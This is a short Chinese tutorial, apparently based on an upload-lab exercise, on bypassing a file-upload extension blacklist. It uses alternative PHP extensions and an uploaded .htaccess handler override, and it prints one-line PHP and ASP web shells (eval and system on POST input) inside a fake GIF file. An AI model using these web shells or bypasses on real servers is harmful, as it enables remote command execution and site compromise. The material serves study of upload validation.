文件上传绕过黑名单的方法

这篇文章主要介绍了关于文件上传绕过黑名单的方法，有着一定的参考价值，现在分享给大家，有需要的朋友可以参考一下

　本关主要通过设置上传后缀，限制asp，php，jsp 等后缀，不允许上传。

　姿势一：本次绕过方式为修改后缀为.php3,php5等，这里是黑名单验证('.asp','.aspx','.php','.jsp')，我们可上传php3,php5...等这样可以被服务器解析的后缀名

姿势二：重写文件解析规则绕过

1、先上传先上传一个名为.htaccess文件，内容如下：

SetHandler application/x-httpd-php

2、上传1.jpg脚本

内容：

GIF89a
<?php eval($_POST[&#39;joker&#39;]);?>
<%eval request("joker")%>
<?php system($_POST[&#39;cmd&#39;]);?>

<span   style="max-width:90%"><br/>最后查看结果如下：<br/><img src="https://img.php.cn/upload/article/000/000/009/8c177c6b99f31ac79c542a12d4053de9-3.png" alt=""/><br/></span>

以上就是本文的全部内容，希望对大家的学习有所帮助，更多相关内容请关注PHP中文网！

相关推荐：

PHP使用Azure Storage Blob上传文件

nginx memcache缓存的介绍

Atas ialah kandungan terperinci 文件上传绕过黑名单的方法. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!